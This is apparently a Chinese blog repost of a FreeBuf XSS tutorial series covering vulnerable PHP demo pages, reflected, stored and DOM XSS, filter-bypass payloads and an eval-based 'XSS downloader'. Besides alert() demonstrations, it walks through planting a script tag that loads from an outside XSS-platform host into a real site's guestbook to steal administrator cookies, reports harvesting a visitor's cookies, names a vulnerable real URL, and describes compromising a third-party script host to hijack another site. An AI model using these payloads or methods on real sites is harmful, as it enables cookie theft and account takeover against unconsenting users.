起这个标题有点大,但是作为web安全来讲,XSS还是蛮基础,但似乎又不为很多高手所常用,网上资料虽然很多,但是你真正去实作的时候,又是一头雾水,常常心生不是那么一回事哦的感慨,所以我就想写点或者说记点实践基础性的东西。
要学习XSS,自己搭个php环境还是很有必要的。其实很简单,一二三步就可以 。
第一步安装FastCGI.
第二步去这里下载phpManger,去这里下载php5.6.3, 将后者解压放在一个目录中,然后安装phpManager, 发现IIS就会多一个phpManager. 注册一下php-cgi.exe,如下图示。
第三步,新建一个网站,然后新建一个phpinfo.php文件,里面只输入
<?php
phpinfo();
?>
即可。新建的网站如图示
最后测试下,在浏览器中键入:http://localhost/php/phpinfo.php
以上就完成php环境的搭建,接下来我们就来玩玩XSS。
1,原理重现代码
1 <html> 2 <head> 3 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 4 <title>XSS原理重现</title> 5 </head> 6 <body> 7 <form action="" method="get"> 8 <input type="text" name="xss_input" /> 9 <input type="submit" /> 10 </form> 11 <hr /> 12 <?php 13 error_reporting(0); 14 $xss = $_GET["xss_input"]; 15 echo ‘你输入的字符为<br>‘,$xss; 16 ?> 17 </body> 18 </html>
XSS原理重现
2,将以上代码保存到D:\phpStudy\Myphp5.6.3(就是php的解压地址),并起名index.php,然后在IE浏览器里键入 http://localhost/php/index.php, 我这里不说其它的浏览器是因为像chrome, firefox这些浏览器对于xss的防护比ie要高些,为了说明原理或者实作,我们就用ie来测试。出来之后试着输入<script>alert(‘hi‘)</script>试试。
3, 如果弹出,说明存在xss.
写到这里的时候,困意上来了,于是关了机,然后早上在床上照例用ipad搜索一把,发现FreebuF.com有篇更好的,于是我干脆就直接复制了过来。以下文字全部来自于FreebuF.com,本人实操通过。
===========================================================================================
0×01 前言:
《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。
我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个
Xss几乎每个网站都存在,google、baidu、360等都存在。
0×02 原理:
首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:
1 <html> 2 <head> 3 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 4 <title>XSS原理重现</title> 5 </head> 6 <body> 7 <form action="" method="get"> 8 <input type="text" name="xss_input" /> 9 <input type="submit" /> 10 </form> 11 <hr /> 12 <?php 13 error_reporting(0); 14 $xss = $_GET["xss_input"]; 15 echo ‘你输入的字符为<br>‘,$xss; 16 ?> 17 </body> 18 </html>
然后,你会在页面看到这样的页面
我们试着输入abcd123,得到的结果为
我们在看看源代码
我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入<script>alert(‘xss‘)</script>会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br>与</boby>之间,变成<br><script>alert(‘xss‘)</script></boby>,那应该会弹出对话框。
既然假设提出来,那我们来实现下这个假设成不成立吧。
我们输入<script>alert(‘xss‘)</script>,得到的页面为
成功弹窗,这个时候基本上就可以确定存在xss漏洞。
我们在看看源代码
看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用
0×03 xss利用输出的环境来构造代码 :
上节说了xss的原理,但是我们的输出点不一在<br>和</boby>里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入
<script>alert(‘xss‘)</script>就会弹窗。
先贴出代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET[‘xss_input_value‘];
if(isset($xss)){
echo ‘<input type="text" value="‘.$xss.‘">‘;
}else{
echo ‘<input type="type" value="输出">‘;
}
?>
</center>
</body>
</html>
下面是代码的页面
这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入<script>alert(‘xss‘)</script>来测试)
明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码
我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在<script>alert('xss')</script>前面加个">来闭合input标签。所以应该得到的结果为
成功弹窗了,我们在看看这时的页面
看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码
这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?
这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。
还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成" onclick="alert('xss')
这时,我们在来试试,页面会发生什么样的变化吧。
没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert('xss')代码。我们来试试看
当我点击后,就出现了弹窗,这时我们来看看源代码把
第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成
Onmousemove 当鼠标移动就触发
Onload 当页面加载完成后触发
还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。
别以为就这样结束了,还有一类环境不能用上述的方法,
那就是如果在<textarea>标签里呢?!或者其他优先级比script高的呢?
就下面这样
这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入</textarea><script>alert(‘xss‘)</script>就可以实现弹窗了
0×04 过滤的解决办法
假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写
<img scr=1 onerror=alert(‘xss‘)>当找不到图片名为1的文件时,执行alert(‘xss‘)
<a href=javascrip:alert(‘xss‘)>s</a> 点击s时运行alert(‘xss‘)
<iframe src=javascript:alert(‘xss‘);height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗
等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)
0×05 xss的利用
说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。
这时我们要插入js代码了,怎么插呢?
你可以这样
<script scr="js_url"></script>
也可以这样
<img src=x onerror=appendChild(createElement(‘script‘)).src=‘js_url‘ />
各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?
Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。
比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。
至于不会js的怎么写js代码呢,放心网上有很多xss平台,百度一下就可以看到了。页面是傻瓜式的操作,这里就不再过多的说明了。
有兴趣的朋友,下面是cn4rry给我的几个xss平台,大家可以自己钻研与研究,也可以自己搭建
http://pan.baidu.com/s/1jG418Aq(8.13日更新)
在发布此文章的时候,我特地和cn4rry谈了一下,得到的结果是,我会继续写这个系列的。当我把这个doc发给cn4rry的时候,他就直接来句“嗯 写的比较基础”,我本来的打算是写一个xss入门的就可以了,我只是感觉 现在网上的文章从简单开始介绍xss的比较少,都是在书里有
所以 我想在网上把他讲的细点 xss入门就可以了,后面的路 就可以自己摸索了
但是和他谈过后,感觉还是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果是自己慢慢琢磨的话,需要较长的时间,所以我打算每过一段时间就会推出下一个xss的文章,写个系列出来。
XSS的原理分析与解剖(第二篇)
0×01 前言:
上节(http://www.freebuf.com/articles/web/40520.html)已经说明了xss的原理及不同环境的构造方法。本期来说说XSS的分类及挖掘方法。
当第一期出来的时候,反馈很好,但还是有很多人提出疑问,我这里就解答下。
问1:如果我输入PHP语句会不会执行。
答1:不会,因为XSS是面对前台的(用户可见部分),而PHP则是后台处理(用户不可见部分),如果可以执行PHP语句的话,那不叫XSS,叫"任意代码执行"。
问2:XSS和CSRF有什么区别么?
答2:有的,XSS是获取信息,不需要提前知道其他用户页面的代码和数据包。CSRF是代替用户完成指定的动作,需要知道其他用户页面的代码和数据包。
问3:为什么我在chrome浏览器下测试<script>alert("xss")</script>并没有成功。
答3:chrome内核与ie内核不一样,chrome的过滤机制比ie强。现在测试xss一般都拿能过chrome的为主,所以当你输入xss的时候,可能被chrome的过滤机制给过滤了。
想了解反射XSS、储蓄XSS、DOM XSS,要先了解GET/POST的处理方式,不懂的话,请查考传送门
0×02 反射型XSS:
反射XSS是XSS分类中最多的,他们原理是下面这样:
Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码、缩短(可有可无,是为了增加迷惑性)——发送给受害人——受害打开后,执行XSS代码——完成hacker想要的功能(获取cookies、url、浏览器信息、IP等等)
原理搞清楚,那就说说怎么挖掘吧,
现在市面上的软件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS,但是想要那些更隐蔽的XSS还是需要手工的,我先使用软件挖掘一些反射XSS,然后介绍手工挖掘。
找到后,我们来打开
http://gdjy.hfut.edu.cn/viewcomp.jsp?id=hzgz123
打开后,我们试着在参数也就是id=hzgz123后面加上woaini(或则其他字符,这串字符必须保持唯一性,也就是说在整个网站里,他必须唯一一个不和其他字符相同的字符串)输入woaini后,打开,查看源代码(ctrl+u),按下ctrl+f来搜索woaini字符串,看出现在哪个位置。
我们发现woaini字符在a标签的href属性里,那我们就可以根据这个环境来构造了,我们可以用"></a><script>alert("xss")</script>来先闭合掉a标签。然后再用script来运行js代码。也可以这样onclick="alert(1)";>123</a>//点击123触发onclick来运行js,然后把后面的内容来注释掉。构造好代码后,把url变成短连接,发送给管理员,诱惑管理员打开,就可以获取管理员的cookies了。
OK,软件挖XSS大致就这些,手工其实和这差不多,手工的话,记住一句话“见框就插、改数据包不可见部分、改URL参数、js分析”就可以了。改数据包、js分析比较深,现在我就不再阐述了,见框就插,大家应该都明白,找到一个input输入框,先输入唯一字符串,然后看源代码里有没有出现,再输入<>""/&()来看看过滤了哪些字符,根据过滤的字符,来构造xss。
下图是QQ空间一处反射XSS,因为是朋友给的,我也不清楚是否被提交,所以我就不放出了。
0×03 储蓄型XSS:
PS:有的人叫持久型,各有各的叫法,所以不用太介意。
储蓄型XSS其实和反射型XSS差不多,只是储蓄型把数据保存到服务端,而反射型只是让XSS游走在客户端上。下面是我在某处网站上检测到的储蓄XSS,大家知道原理就OK。
(因为,这个网站本人想提交,所以URL打码处理,见谅)
习惯性的打开留言处(book.asp),点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了,
OK,发现没有过滤(如果<a>s</a>是彩色的说明没有过滤,如果是灰色就说明过滤了)
那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>请问怎么报名啊”
名字是我乱起的,这样一来,只要你访问
http://www.******.com/book.asp
就可以获取你的cookies,以及后台地址(因为留言板一般都在后台做审核)。但是,管理员好像死了,已经6天了,还没看。今天上xss平台一看有个cookies,看了下,是路人的,并不是管理员的。
但是使用方法大家也应该懂了。只要你打开http://www.******.com/book.asp 我就会在第一时间获取你的cookies。
0×04 DOM XSS:
DOM XSS是基于在js上的。而且他不需要与服务端进行交互,像反射、储蓄都需要服务端的反馈来构造xss,因为服务端对我们是不可见的(不是太清楚的,可以看看(http://www.freebuf.com/articles/neopoints/41168.html一文)
挖掘DOM XSS比较麻烦,因为有时你需要追源,对方可能会自定义函数,所以你需要一步一步来把对方自定义的函数来搞清楚。下面我举个最简单的例子:
在1.html里输入
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>
在这里我先解释下上面的意思
Document.write是把里面的内容写到页面里。
document.URL是获取URL地址。
Substring 从某处到某处,把之间的内容获取。
document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值
document.URL.length是获取当前URL的长度,同时也是substring的结束值。
合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。
我们打开,看看
怎么会出现这个问题呢?
因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html
大致的原理都会了,我们继续。
我们可以在1.html后输入?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。
我们清楚的看到我们输入的字符被显示出来了。
那我们输入<script>alert("xss")</script>会怎么样呢?
答案肯定是弹窗。
但是,这里肯定有人无法弹窗,像下面这样。
这是因为浏览器不同,maxthon、firfox、chrome则不行,他们会在你提交数据之前,对url进行编码。这不是说DOM XSS不行了,这只是个很简单的例子,所以不用在意。
我在说下,DOM XSS 是基于javascript基础上,而且不与服务端进行交互,他的code对你是可见的,而基于服务端的反射、储蓄则是不可见的。
0×05 XSF(Flash XSS):
XSF其实不算XSS的分类中,应该算作XSS的分支,因为在XSS使用到的技巧,在XSF只有一部分可以使用,因为XSF是基于ActionScript2/3.0语言的基础上。
我写XSS系列是为了让大多数对XSS不熟悉的人知晓如何运用这门攻击手法,所以,在此我不打算深入介绍XSF,如果有机会,你们将会在后期的系列里看到关于XSF技术的。
我先简要的说明下,在ActionScript2/3.0里以下几个函数需要重点关注下:
getURL navigateToURL ExternalInterface.call ExternalInterface.call htmlText addcallback等。有兴趣的朋友可以先自行研究下。
0×06 挖掘XSS:
挖掘XSS的技巧很多,各式各样,我这里就简要说明下容易出现XSS的地方。
之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。
修改URL参数的时候,你看到的只是用GET来传输数据的,还有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。这里不就阐述了,不懂的可以参考之前我写的利用方法,GET和POST利用方法几乎一样。不清楚POST和GET的可以在0×01 前言里查看下我给出的链接。
废话也不说了,下面进入正题。
一:我们都知道当你浏览网站的时候,对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端进行修改。
这里需要使用firefox浏览器和两个附件
附件一:X-Forwarded-For Header
因为PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了。
附件二:Modify Headers
Modify Headers可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP。
那还有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?答案是无法修改。
REMOTE_ADDR是由 nginx 传递给 php 的参数,所以就是当前 nginx 直接通信的客户端的 IP ,而我们无法插手。所以一旦对方使用了REMOTE_ADDR函数来获取IP,那就没办法了。不过不要紧,一共3个函数,2个函数可以伪造,我们还是有很大的成功率的。好了,开始伪造。
伪造好后,我们打开www.ip138.com看看,
成功弹窗了。因为我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是说ip138.com使用的是X_FORWARDED_FOR函数来获取IP的。但是DZ等著名CMS不存在,他们都过滤了。
就像漏洞盒子一样(https://www.vulbox.com),
使用的是HTTP_CLIENT_IP函数来获取IP的,但是过滤了。你们可以先把配置写好,构造成一个获取cookies的。以后就随便的浏览网站,说不定某天就可以钓上一个呢。
本方法是Misty去年告知。
0×07 结束:
由本章可以知晓XSS不一定是在input输入框和GET/POST参数修改,才可以插入XSS。还有JavaScript、ActionScript2/3.0、数据包参数。玩XSS的时候,思想不能固定,要灵活多变。
本章也就结束了,下节如果不出什么意外的话是讲XSS技巧,敬请期待。
XSS的原理分析与解剖:第三章(技巧篇)
0×01 前言:
关于前两节url:
第一章:http://www.freebuf.com/articles/web/40520.html
第二章:http://www.freebuf.com/articles/web/42727.html
说的xss的原理及不同环境的构造方法。和XSS的分类及挖掘方法。那么本期则说XSS技巧,前面两个干货不太多,讲的都是比较基础的。而这期则是满满的干货。
从本期开始,XSS我就开始深入了。至
于下一章XSS编码,已经被0xExploit写过了( http://www.freebuf.com/articles/web/43285.html ),我会视情况来考虑写不写。
我这里我先解答下上期遗留的问题
问1:只能更改IP么?
答1:不是,这里只是一个例子,大家需要发散思维。Referer User-Agent Cookie 等都可以的。
问2:我一个站也是http头部获取用户信息地方存在注入,可否xss?
答2:存在注入说明你把用户信息放到数据库里了,如果不显示前/后台显现用户信息,则不存在XSS。
0×02 第三方劫持 (外调J/C):
本方法是我看长短短贴代码时知晓的,这篇文章我只是把这个攻击手法整理了出来,来说明这个漏洞,这个攻击手法并不是我发现的,我也不是太清楚是谁。“第三方劫持”就是把资源域的服务器的权限拿下,替换相关资源,采用‘迂回式’的渗透方式。
PS:J/C指的是javascript、css,其实还包括flash、etc、html等等,只是这个不经常使用而已,所以就不说了。
从字面上大家也可以猜出来,这是种什么攻击手法。名字里的"外调"不是从目标网站上插入新的J/C。而是在目标网站上找到不是本站的J/C。然后渗透那个网站,重写J/C。来达到渗透目标网站。
可是要怎么找到非本站的J/C呢?!不要担心, “长短短”已经写好相关的代码了,获取非本站的J/C。
for(var i=0,tags=document.querySelectorAll(‘iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]‘),tag;tag=tags[i];i++){
var a = document.createElement(‘a‘);
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname){
console.warn(location.hostname+‘ 发现第三方资源[‘+tag.localName+‘]:‘+a.href);
}
}
把这段输入在F12“审查元素”里”控制台”里,回车就OK。
aOK,原理说完了。我们来个实例。
我们在http://www.zj4000.com/ 网站上使用上面的代码,获取到,其中有个www.xss8.pw的js。
那么我就渗透他试试,20分钟后…….好了,渗透完了。我们现在来重写JS,现在我们先测试下能不能用,我先在1.js里写上
alert('xss');
现在,我们再来看看 www.zj4000.com 怎么样了。
看来,已经被成功调用了。我这里没有用css来说,因为js比较规范点,而且用css来实现我这上面的功能,同理SWF也可以实现上面的功能。我相信大家都会了,不需要我再多说什么了。
现在你已经掌握了一个可随时变化的储蓄xss,我们可以自己写个脚本,来获取目标的cookies。
这些我就不说了,我只是把这门冷门但是比较有潜力的攻击手法和大家说下。这个攻击手法比较有局限性,只要网站有着可以实现攻击环境, 那么的危害将会非常大。
想继续了解的可以看看黑哥写的PPT,下载连接:http://www.80vul.com/paper/WEBsec2-public.ppt
0×03 XSS downloader(XSS下载器):
此方法是由cnn4ry在《XSS跨站脚本攻击剖析与防御》里提起过。
这个技术其实就是把反射和储蓄结合起来,把核心代码写在网站上,然后以XSS触发并调用代码,实现攻击。
在《XSS跨转脚本攻击剖析与防御》里的代码不太正确,没有使用onreadystatechange的readyState来判断是否请求完成,也没有用status判断页面是否存在。导致没符合这几个条件的情况下就输出了,此时内容是空的,所以不会成功,我就自己写了一个ajax获取的。
下面是代码
ajax.html:
<html>
<head>
<title>ajax</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 &&xmlhttp.status==200){
request_text=xmlhttp.responseText;
var a = request_text.indexOf("woaini")+6;
var b = request_text.indexOf("niaiwo");
eval(request_text.substring(a,b));
}
}
xmlhttp.open("POST","ajax.php","true");
xmlhttp.send();
</script>
</boby>
</html>
Ajax.php:
12345648745465465474woainialert(‘xss‘)niaiwoasd5165484613ejkasoidoaid\
这时,当你打开ajax.html,就会弹出对话框。如图:
现在我来说说代码的大致意思
ajax.html它的主要功能就是获取ajax.php里在woaini字符串和niaiwo之间的字符串,并把获取的字符串用eval的方式运行,
Ajax..php(可以为txt,或者html等等,不要太在意是php后缀)没什么主要的功能,但是他是这个技巧的核心,eval就是运行它里面的代码。
整个内容,你可以写很多没有用的字符串,但是eval运行的代码,必须是在woaini和niaiwo之间,切记!
因为篇幅有限,还有一种方式,我就不细说,说出原理 大家也因该明白了。
假设网站的留言板存在反射XSS,我想利用的话,我可以构造为on事件,或者伪协议(javascript:)来运行下面的代码
eval(document.boby.innerHTML.substring(document.boby.innerHTML.indexOf(‘woaini‘)+6,document.boby.innerHTML.indexOf(‘niaiwo‘)));
那我留言,内容为woainialert('xss')niaiwo,你就会发现弹出对话框了,这种方法隐蔽性强,利用方便,可以绕过很多的WAF。不一定非要用ajax来获取,也可以在本地使用indexOf和substring来完成。如果你想,你还可以使用javascript正则来获取指定内容,下面是代码:
1.html:
<html>
<head>
<title>ajax+正则匹配</title>
<meta http-equiv="content-type" content="text/html;chaset=utf-8" />
</head>
<boby>
<script>
var xmlhttp;
var request_text;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 &&xmlhttp.status==200){
request_text=xmlhttp.responseText;
var text = request_text.match(/woaini(.*)niaiwo/i);
eval(text[1]);
}
}
xmlhttp.open("POST","ajax.php","true");
xmlhttp.send();
</script>
</boby>
</html>
0×04 XCS:
XCS就是利用浏览器来玩XSS,它的功能比普通上的XSS还要强大,因为利用浏览器协议漏洞,可以调用浏览器的API来实现下载覆盖本地文件(可以把它这个功能理解为挂马)。
XSC还可以控制浏览器的历史、设置、收藏夹等。因为之前黑哥在KCon大会上讲过了,我也就不在多说了。这是(传送门)黑哥对XCS所写的PPT,想了解的可以看看。
0×05 页面渲染XSS:
这个漏洞是我在2010年-2011年之间发现的(可能在我之前就有人发现了,只是我不知道吧),当时提交到某云,不知道为什么,没有通过,我也懒得说了。当时存在这个漏洞的浏览器除了chrome、firefox,其他的几乎都存在,现在这个漏洞已经没有了,但是我还说出来吧,大家可以当成一个思路。jpg(ie6下才会出现)、word等,都可以。
假如我当前页面存在txt文件,而txt文件内容为<script>alert(‘xss‘)</script>时,就会弹窗。因为浏览器把txt的内容当成html来输出了。大家设想下,当时的很多站点都可以上传txt,可想而知这个漏洞的危害性,只不过我不知道为什么我提交了2 3次,某云为什么一直忽略。前几个月某云的账号被一个曾经的朋友以100元卖给其他人,对方乱发东西,账号被封,某云的管理员就是不同意解封,我也只能呵呵。
我在这里说明下后期章节的安排。
第四章写编码和绕过,第五章说xss fuzzing,第六章说XSF。如果还有什么,我会继续写下去。
结尾:感谢cnn4ry的建议:以下是截图:
下面是cnn4ry给我的文件,大家可以去研究下。
http://pan.baidu.com/s/1jG86noq